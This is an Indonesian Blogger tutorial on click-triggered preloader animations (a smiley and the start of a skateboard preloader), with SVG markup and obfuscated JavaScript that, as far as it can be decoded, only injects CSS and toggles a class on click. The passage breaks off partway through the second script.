Kumpulan Preloader saat klik di blogger

Bloggermuda.com

March 15, 2025

Hello sobat Bloggermuda kali ini admin bakalan menjabarkan mengenai Kumpulan preloader saat di klik di blogger keren dan ringan

Preloader

Apa itu Preloader? Efek preloader adalah elemen desain yang muncul saat sebuah halaman web sedang dimuat, berfungsi untuk meningkatkan pengalaman pengguna dengan memberikan visualisasi yang menarik selama proses loading. Dengan menggunakan animasi yang dinamis, seperti berputar, melompat, atau bergetar, preloader tidak hanya mengalihkan perhatian pengguna dari waktu tunggu, tetapi juga menambah kesan profesional dan estetika dari situs tersebut.

Efek preloader menciptakan rasa antisipasi, seolah-olah pengguna sedang diajak menunggu sesuatu yang istimewa. Desain yang kreatif dan menarik dari preloader dapat memiliki dampak positif pada persepsi pengguna terhadap situs, meningkatkan kenyamanan serta kesan pertama yang baik. Dengan demikian, meskipun terkesan sederhana, preloader berperan penting dalam menciptakan pengalaman pengguna yang lebih lancar dan memuaskan.

Kumpulan Preloader

Berikut ini kami sajikan informasi mengenai Kumpulan efek preloader saat klik di blogger lengkap dengan cara pembuatan dan contoh tampilan

1. Smiley preloader

Tampilan dari animasi preloader tersebut adalah tampilan smiley preloader yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog, dan bagi kamu yang tidak mengetahui mengenai smiley preloader? bahwa pengertian smiley adalah seyuman maka preloader juga akan menampilkan animasi senyuman

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek smiley preloader yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: Bagaimana sobat dengan contoh tampilan nya keren sekali yak

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek smiley preloader di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode Javascript

Langkah pertama seperti biasanya silahkan salin kode javascript di bawah ini kemudian letakkan di atas kode </head>

<script>/*<![CDATA[*/ 
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('13 Q=["\\f\\8\\m\\k\\9","\\r\\c\\9\\a\\8\\9\\M\\k\\9\\i\\9\\d\\8","\\8\\m\\x\\9","\\8\\9\\E\\8\\14\\r\\f\\f","\\8\\9\\E\\8\\X\\e\\d\\8\\9\\d\\8","\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\g\\D\\9\\l\\e\\c\\9\\t\\l\\e\\d\\8\\h\\U\\9\\b\\y\\j\\8\\g\\L\\n\\n\\p\\x\\e\\f\\b\\8\\b\\e\\d\\g\\a\\D\\f\\e\\k\\B\\8\\9\\p\\c\\b\\y\\j\\8\\g\\F\\x\\E\\p\\8\\e\\x\\g\\N\\x\\E\\p\\l\\e\\d\\8\\h\\f\\b\\V\\9\\g\\A\\C\\x\\E\\p\\r\\e\\k\\e\\c\\g\\c\\y\\D\\a\\v\\C\\q\\q\\z\\C\\q\\q\\z\\C\\q\\q\\z\\s\\L\\w\\p\\U\\b\\o\\8\\j\\g\\a\\B\\8\\e\\p\\8\\9\\E\\8\\h\\a\\k\\b\\y\\d\\g\\r\\9\\d\\8\\9\\c\\p\\a\\k\\b\\y\\d\\h\\b\\8\\9\\i\\f\\g\\r\\9\\d\\8\\9\\c\\p\\Z\\B\\f\\8\\b\\l\\m\\h\\r\\e\\d\\8\\9\\d\\8\\g\\r\\9\\d\\8\\9\\c\\p\\x\\a\\o\\o\\b\\d\\y\\g\\q\\x\\E\\p\\D\\a\\r\\G\\y\\c\\e\\B\\d\\o\\h\\r\\e\\k\\e\\c\\g\\10\\K\\C\\K\\C\\K\\C\\p\\D\\e\\c\\o\\9\\c\\h\\c\\a\\o\\b\\B\\f\\g\\q\\x\\E\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\g\\D\\9\\l\\e\\c\\9\\t\\r\\e\\d\\8\\9\\d\\8\\g\\11\\X\\c\\9\\a\\8\\9\\o\\I\\U\\b\\8\\j\\I\\15\\i\\b\\k\\9\\Y\\11\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\t\\o\\b\\c\\9\\r\\8\\b\\e\\d\\g\\k\\8\\c\\p\\x\\e\\f\\b\\8\\b\\e\\d\\g\\l\\b\\E\\9\\o\\p\\8\\e\\x\\g\\n\\p\\c\\b\\y\\j\\8\\g\\n\\p\\D\\e\\8\\8\\e\\i\\g\\n\\p\\k\\9\\l\\8\\g\\n\\p\\o\\b\\f\\x\\k\\a\\m\\g\\d\\e\\d\\9\\p\\D\\a\\r\\G\\y\\c\\e\\B\\d\\o\\g\\10\\l\\9\\l\\9\\l\\9\\p\\a\\k\\b\\y\\d\\h\\b\\8\\9\\i\\f\\g\\r\\9\\d\\8\\9\\c\\p\\Z\\B\\f\\8\\b\\l\\m\\h\\r\\e\\d\\8\\9\\d\\8\\g\\r\\9\\d\\8\\9\\c\\p\\V\\h\\b\\d\\o\\9\\E\\g\\N\\N\\N\\N\\N\\N\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\O\\b\\f\\b\\D\\k\\9\\p\\e\\x\\a\\r\\b\\8\\m\\g\\A\\p\\8\\c\\a\\d\\f\\b\\8\\b\\e\\d\\g\\a\\k\\k\\s\\L\\f\\I\\9\\a\\f\\9\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\s\\c\\a\\j\\t\\o\\b\\f\\x\\k\\a\\m\\g\\l\\k\\9\\E\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\s\\i\\a\\8\\t\\o\\b\\f\\x\\k\\a\\m\\g\\d\\e\\d\\9\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\s\\i\\a\\8\\t\\e\\x\\a\\r\\b\\8\\m\\g\\n\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\j\\b\\o\\o\\9\\d\\u\\s\\f\\i\\b\\k\\9\\m\\t\\U\\b\\o\\8\\j\\g\\L\\9\\i\\p\\j\\9\\b\\y\\j\\8\\g\\L\\9\\i\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\M\\m\\9\\A\\z\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\M\\m\\9\\C\\z\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\R\\e\\B\\8\\j\\A\\z\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\R\\e\\B\\8\\j\\C\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\g\\c\\a\\j\\M\\m\\9\\A\\I\\K\\f\\I\\9\\a\\f\\9\\h\\b\\d\\h\\e\\B\\8\\I\\b\\d\\l\\b\\d\\b\\8\\9\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\M\\m\\9\\A\\z\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\M\\m\\9\\C\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\h\\e\\c\\b\\y\\b\\d\\g\\F\\P\\x\\E\\I\\F\\P\\x\\E\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\M\\m\\9\\C\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\d\\a\\i\\9\\g\\c\\a\\j\\M\\m\\9\\C\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\R\\e\\B\\8\\j\\A\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\d\\a\\i\\9\\g\\c\\a\\j\\R\\e\\B\\8\\j\\A\\u\\s\\c\\a\\j\\H\\i\\b\\k\\9\\m\\h\\c\\a\\j\\R\\e\\B\\8\\j\\C\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\d\\a\\i\\9\\g\\c\\a\\j\\R\\e\\B\\8\\j\\C\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\j\\b\\o\\o\\9\\d\\u\\T\\G\\9\\m\\l\\c\\a\\i\\9\\f\\I\\c\\a\\j\\M\\m\\9\\A\\t\\l\\c\\e\\i\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\h\\C\\F\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\u\\q\\n\\J\\z\\F\\n\\J\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\r\\B\\D\\b\\r\\h\\D\\9\\V\\b\\9\\c\\v\\n\\s\\A\\S\\z\\n\\z\\n\\s\\q\\L\\z\\A\\w\\p\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\h\\P\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\f\\r\\a\\k\\9\\v\\A\\w\\u\\8\\e\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\C\\C\\q\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\f\\r\\a\\k\\9\\v\\n\\s\\K\\q\\w\\u\\u\\T\\G\\9\\m\\l\\c\\a\\i\\9\\f\\I\\c\\a\\j\\M\\m\\9\\C\\t\\l\\c\\e\\i\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\h\\C\\F\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\u\\q\\n\\J\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\P\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\c\\e\\8\\a\\8\\9\\v\\h\\P\\n\\o\\9\\y\\w\\f\\r\\a\\k\\9\\v\\A\\w\\u\\q\\C\\s\\q\\J\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\P\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\c\\e\\8\\a\\8\\9\\v\\h\\P\\n\\o\\9\\y\\w\\f\\r\\a\\k\\9\\v\\A\\z\\n\\w\\u\\q\\q\\J\\z\\S\\n\\J\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\r\\B\\D\\b\\r\\h\\D\\9\\V\\b\\9\\c\\v\\n\\z\\n\\z\\n\\s\\C\\L\\z\\A\\w\\p\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\P\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\c\\e\\8\\a\\8\\9\\v\\h\\P\\n\\o\\9\\y\\w\\f\\r\\a\\k\\9\\v\\A\\w\\u\\8\\e\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\c\\e\\8\\a\\8\\9\\v\\A\\q\\n\\o\\9\\y\\w\\8\\c\\a\\d\\f\\k\\a\\8\\9\\v\\n\\z\\h\\q\\F\\x\\E\\w\\f\\r\\a\\k\\9\\v\\n\\s\\P\\w\\u\\u\\T\\G\\9\\m\\l\\c\\a\\i\\9\\f\\I\\9\\m\\9\\16\\k\\b\\d\\G\\t\\l\\c\\e\\i\\z\\C\\q\\J\\z\\S\\q\\J\\z\\8\\e\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\f\\r\\a\\k\\9\\Y\\v\\A\\w\\u\\q\\n\\J\\t\\8\\c\\a\\d\\f\\l\\e\\c\\i\\g\\f\\r\\a\\k\\9\\Y\\v\\n\\w\\u\\u\\T\\G\\9\\m\\l\\c\\a\\i\\9\\f\\I\\c\\a\\j\\R\\e\\B\\8\\j\\A\\t\\l\\c\\e\\i\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\9\\a\\f\\9\\h\\b\\d\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\a\\c\\c\\a\\m\\g\\n\\I\\K\\q\\A\\s\\L\\F\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\e\\l\\l\\f\\9\\8\\g\\n\\u\\C\\q\\J\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\9\\a\\f\\9\\h\\e\\B\\8\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\a\\c\\c\\a\\m\\g\\A\\S\\q\\s\\N\\K\\I\\K\\q\\A\\s\\L\\F\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\e\\l\\l\\f\\9\\8\\g\\n\\u\\q\\n\\J\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\f\\8\\9\\x\\f\\v\\A\\z\\f\\8\\a\\c\\8\\w\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\a\\c\\c\\a\\m\\g\\A\\S\\q\\s\\N\\K\\I\\K\\q\\A\\s\\L\\F\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\e\\l\\l\\f\\9\\8\\g\\h\\A\\S\\q\\s\\N\\K\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\O\\b\\f\\b\\D\\k\\9\\u\\S\\q\\J\\z\\8\\e\\t\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\j\\b\\o\\o\\9\\d\\u\\u\\T\\G\\9\\m\\l\\c\\a\\i\\9\\f\\I\\c\\a\\j\\R\\e\\B\\8\\j\\C\\t\\l\\c\\e\\i\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\f\\8\\9\\x\\f\\v\\A\\z\\9\\d\\o\\w\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\j\\b\\o\\o\\9\\d\\u\\q\\n\\J\\t\\a\\d\\b\\i\\a\\8\\b\\e\\d\\h\\8\\b\\i\\b\\d\\y\\h\\l\\B\\d\\r\\8\\b\\e\\d\\g\\9\\a\\f\\9\\h\\b\\d\\h\\e\\B\\8\\p\\O\\b\\f\\b\\D\\b\\k\\b\\8\\m\\g\\O\\b\\f\\b\\D\\k\\9\\p\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\e\\l\\l\\f\\9\\8\\g\\n\\u\\8\\e\\t\\f\\8\\c\\e\\G\\9\\h\\o\\a\\f\\j\\e\\l\\l\\f\\9\\8\\g\\h\\K\\q\\A\\s\\L\\F\\u\\u","\\a\\x\\x\\9\\d\\o\\X\\j\\b\\k\\o","\\j\\9\\a\\o"];17 W=12[Q[1]](Q[0]);W[Q[2]]=Q[3];W[Q[4]]=Q[5];12[Q[7]][Q[6]](W)',62,70,'||||||||x74|x65|x61|x69|x72|x6E|x6F|x73|x3A|x2D|x6D|x68|x6C|x66|x79|x30|x64|x3B|x35|x63|x2E|x7B|x7D|x28|x29|x70|x67|x2C|x31|x75|x32|x62|x78|x36|x6B|x53|x20|x25|x33|x38|x45|x39|x76|x34|_0xcc01|x4D|x37|x40|x77|x7A|rahSmleyJs|x43|x59|x6A|x23|x27|document|var|x2F|x24|x42|const'.split('|'),0,{}))
/*]]>*/</script>

Info: Kode javascript di atas tidak bisa kamu edit, jika mengedit tampilan preloader smiley tidak akan berfungsi saat di klik

Kode HTML/javascript

Langkah selanjutnya kamu bisa menyalin lagi kode html di bawah ini kemudian kamu bisa meletakkan nya di bawah kode <body>

<div class='rahSmiley'id='rahSmiley'><svg role='img'aria-label='Mouth and eyes come from 9:00 and rotate clockwise into position, right eye blinks, then all parts rotate and merge into 3:00'class='smiley'viewBox='0 0 128 128'width='128px'height='128px'><defs><clipPath id='rahSmiley-eyes'><circle class='rahSmiley-rahEye1'cx='64'cy='64'r='8'transform='rotate(-40,64,64) translate(0,-56)'/><circle class='rahSmiley-rahEye2'cx='64'cy='64'r='8'transform='rotate(40,64,64) translate(0,-56)'/></clipPath><linearGradient id='smiley-grad'x1='0'y1='0'x2='0'y2='1'><stop offset='0%'stop-color='#000'/><stop offset='100%'stop-color='#fff'/></linearGradient><mask id='rahSmiley-mask'><rect x='0'y='0'width='128'height='128'fill='url(#smiley-grad)'/></mask></defs><g stroke-linecap='round'stroke-width='12'stroke-dasharray='175.93 351.86'><g><rect fill='hsl(222, 56%, 41%)'width='128'height='64'clip-path='url(#rahSmiley-eyes)'/><g fill='none'stroke='hsl(222, 56%, 41%)'><circle class='rahSmiley-rahMouth1'cx='64'cy='64'r='56'transform='rotate(180,64,64)'/><circle class='rahSmiley-rahMouth2'cx='64'cy='64'r='56'transform='rotate(0,64,64)'/></g></g><g mask='url(#rahSmiley-mask)'><rect fill='hsl(0, 72%, 54%)'width='128'height='64'clip-path='url(#rahSmiley-eyes)'/><g fill='none'stroke='hsl(0, 72%, 54%)'><circle class='rahSmiley-rahMouth1'cx='64'cy='64'r='56'transform='rotate(180,64,64)'/><circle class='rahSmiley-rahMouth2'cx='64'cy='64'r='56'transform='rotate(0,64,64)'/></g></g></g></svg></div>
<script>/*<![CDATA[*/ 
var _0x6b9c=["\x23\x72\x61\x68\x53\x6D\x69\x6C\x65\x79","\x71\x75\x65\x72\x79\x53\x65\x6C\x65\x63\x74\x6F\x72","\x72\x61\x68","\x61\x64\x64","\x63\x6C\x61\x73\x73\x4C\x69\x73\x74","\x63\x6C\x69\x63\x6B","\x72\x65\x6D\x6F\x76\x65","\x76\x69\x62\x72\x61\x74\x65","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72"];function rahSmiley(){var rahSmiley=document[_0x6b9c[1]](_0x6b9c[0]);rahSmiley[_0x6b9c[4]][_0x6b9c[3]](_0x6b9c[2]);document[_0x6b9c[8]](_0x6b9c[5],function(){setTimeout(function(){rahSmiley[_0x6b9c[4]][_0x6b9c[6]](_0x6b9c[2])},2000);if(_0x6b9c[7] in  navigator){navigator[_0x6b9c[7]]([50])}})}
/*]]>*/</script>

Info: Kode HTML dan Javascript di atas jangan di edit entar tampilan preloader nya tidak berfungsi 🥰

Cara penggunaan

Untuk memfungsikan efek preloader smiley preloader tersebut silahkan gunakan fungsi onclick='rahSmiley()' pada setiap tombol yang di inginkan untuk menampilkan preloader secara manual, atau seperti contoh kode berikut ini

<div class='tombol' onclick='rahSmiley()'>
<!-- svg -->
</div>

Info: Tambahkan sendiri kode onclick='rahSmiley()' pada setiap tombol yang anda inginkan semisal svg dan lain sebaginya

2. Skateboard preloader

Tampilan dari animasi preloader tersebut adalah tampilan skateboard preloader yang muncul saat di klik dan bukan saat halaman artikel di refresh, yang di kemas dalam tampilan yang berbeda disertai animasi animasi yang menakjubkan saat animasi preloader tersebut aktif saat merefresh halaman blog, dan bagi kamu yang tidak mengetahui mengenai skateboard preloader? bahwa pengertian smiley adalah seyuman maka preloader juga akan menampilkan animasi senyuman

Contoh Tampilan

Jika kamu penasaran dengan contoh tampilan efek skateboard preloader yang muncul saat di klik tersebut, silahkan periksa menggunakan tombol di bawah ini

Periksa

Info: bagaimana sobat dengan contoh tampilan nya keren sekali yak 😬

Cara pembuatan

Baiklah sekarang saatnya admin bakalan menjelaskan bagaimana caranya membuat efek skateboard preloader di sertai Animasi di blogger, silahkan ikuti setiap arahan yang admin jabarkan di hawah ini

Kode Javascript

Langkah pertama seperti biasanya silahkan salin kode javascript di bawah ini kemudian letakkan di atas kode </head>

<script>/*<![CDATA[*/ 
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('12 Q=["\\f\\9\\s\\n\\d","\\u\\c\\d\\8\\9\\d\\13\\n\\d\\l\\d\\b\\9","\\9\\s\\A\\d","\\9\\d\\H\\9\\14\\u\\f\\f","\\9\\d\\H\\9\\V\\e\\b\\9\\d\\b\\9","\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\g\\t\\d\\m\\e\\c\\d\\v\\m\\e\\b\\9\\h\\T\\d\\a\\w\\o\\9\\g\\N\\i\\i\\k\\A\\e\\f\\a\\9\\a\\e\\b\\g\\8\\t\\f\\e\\n\\y\\9\\d\\k\\c\\a\\w\\o\\9\\g\\P\\A\\H\\k\\9\\e\\A\\g\\O\\A\\H\\k\\m\\e\\b\\9\\h\\f\\a\\X\\d\\g\\J\\C\\A\\H\\k\\u\\e\\n\\e\\c\\g\\c\\w\\t\\8\\E\\C\\z\\z\\F\\C\\z\\z\\F\\C\\z\\z\\F\\q\\N\\G\\k\\T\\a\\j\\9\\o\\g\\8\\y\\9\\e\\k\\9\\d\\H\\9\\h\\8\\n\\a\\w\\b\\g\\u\\d\\b\\9\\d\\c\\k\\8\\n\\a\\w\\b\\h\\a\\9\\d\\l\\f\\g\\u\\d\\b\\9\\d\\c\\k\\Y\\y\\f\\9\\a\\m\\s\\h\\u\\e\\b\\9\\d\\b\\9\\g\\u\\d\\b\\9\\d\\c\\k\\A\\8\\j\\j\\a\\b\\w\\g\\z\\A\\H\\k\\t\\8\\u\\D\\w\\c\\e\\y\\b\\j\\h\\u\\e\\n\\e\\c\\g\\Z\\B\\C\\B\\C\\B\\C\\k\\t\\e\\c\\j\\d\\c\\h\\c\\8\\j\\a\\y\\f\\g\\z\\A\\H\\x\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\g\\t\\d\\m\\e\\c\\d\\v\\u\\e\\b\\9\\d\\b\\9\\g\\10\\V\\c\\d\\8\\9\\d\\j\\p\\T\\a\\9\\o\\p\\15\\l\\a\\n\\d\\16\\10\\x\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\v\\j\\a\\c\\d\\u\\9\\a\\e\\b\\g\\n\\9\\c\\k\\A\\e\\f\\a\\9\\a\\e\\b\\g\\m\\a\\H\\d\\j\\k\\9\\e\\A\\g\\i\\k\\c\\a\\w\\o\\9\\g\\i\\k\\t\\e\\9\\9\\e\\l\\g\\i\\k\\n\\d\\m\\9\\g\\i\\k\\j\\a\\f\\A\\n\\8\\s\\g\\b\\e\\b\\d\\k\\t\\8\\u\\D\\w\\c\\e\\y\\b\\j\\g\\Z\\m\\d\\m\\d\\m\\d\\k\\8\\n\\a\\w\\b\\h\\a\\9\\d\\l\\f\\g\\u\\d\\b\\9\\d\\c\\k\\Y\\y\\f\\9\\a\\m\\s\\h\\u\\e\\b\\9\\d\\b\\9\\g\\u\\d\\b\\9\\d\\c\\k\\X\\h\\a\\b\\j\\d\\H\\g\\O\\O\\O\\O\\O\\O\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\K\\a\\f\\a\\t\\n\\d\\k\\e\\A\\8\\u\\a\\9\\s\\g\\J\\k\\9\\c\\8\\b\\f\\a\\9\\a\\e\\b\\g\\8\\n\\n\\q\\N\\f\\p\\d\\8\\f\\d\\x\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\q\\c\\8\\o\\v\\j\\a\\f\\A\\n\\8\\s\\g\\m\\n\\d\\H\\x\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\q\\l\\8\\9\\v\\j\\a\\f\\A\\n\\8\\s\\g\\b\\e\\b\\d\\x\\q\\c\\8\\o\\I\\t\\e\\8\\c\\j\\S\\b\\q\\l\\8\\9\\v\\e\\A\\8\\u\\a\\9\\s\\g\\i\\k\\K\\a\\f\\a\\t\\a\\n\\a\\9\\s\\g\\o\\a\\j\\j\\d\\b\\x\\q\\c\\8\\o\\M\\e\\8\\c\\j\\I\\v\\T\\a\\j\\9\\o\\g\\J\\J\\d\\l\\k\\o\\d\\a\\w\\o\\9\\g\\J\\i\\d\\l\\x\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\F\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\J\\F\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\C\\F\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\B\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\j\\y\\c\\8\\9\\a\\e\\b\\g\\r\\f\\k\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\a\\9\\d\\c\\8\\9\\a\\e\\b\\h\\u\\e\\y\\b\\9\\g\\a\\b\\m\\a\\b\\a\\9\\d\\x\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\v\\f\\9\\c\\e\\D\\d\\g\\o\\f\\n\\8\\E\\C\\C\\B\\F\\J\\i\\L\\F\\J\\i\\L\\F\\i\\q\\J\\G\\k\\9\\c\\8\\b\\f\\a\\9\\a\\e\\b\\g\\f\\9\\c\\e\\D\\d\\p\\i\\q\\B\\f\\x\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\J\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\b\\8\\l\\d\\g\\c\\8\\o\\M\\e\\8\\c\\j\\I\\J\\x\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\C\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\b\\8\\l\\d\\g\\c\\8\\o\\M\\e\\8\\c\\j\\I\\C\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\h\\e\\c\\a\\w\\a\\b\\g\\B\\C\\A\\H\\p\\N\\N\\A\\H\\x\\q\\c\\8\\o\\I\\M\\e\\8\\c\\j\\B\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\b\\8\\l\\d\\g\\c\\8\\o\\M\\e\\8\\c\\j\\I\\B\\k\\9\\c\\8\\b\\f\\m\\e\\c\\l\\h\\e\\c\\a\\w\\a\\b\\g\\J\\r\\r\\A\\H\\p\\N\\N\\A\\H\\x\\W\\D\\d\\s\\m\\c\\8\\l\\d\\f\\p\\c\\8\\o\\M\\e\\8\\c\\j\\I\\J\\v\\m\\c\\e\\l\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\r\\B\\q\\O\\N\\x\\J\\C\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\h\\J\\B\\J\\q\\O\\z\\x\\C\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\i\\x\\B\\R\\q\\z\\L\\F\\z\\i\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\h\\J\\R\\z\\q\\O\\B\\x\\P\\C\\q\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\h\\e\\y\\9\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\i\\x\\R\\z\\L\\v\\8\\b\\a\\l\\8\\9\\a\\e\\b\\h\\9\\a\\l\\a\\b\\w\\h\\m\\y\\b\\u\\9\\a\\e\\b\\g\\d\\8\\f\\d\\h\\a\\b\\k\\f\\9\\c\\e\\D\\d\\h\\j\\8\\f\\o\\e\\m\\m\\f\\d\\9\\g\\h\\J\\B\\J\\q\\O\\z\\x\\N\\R\\q\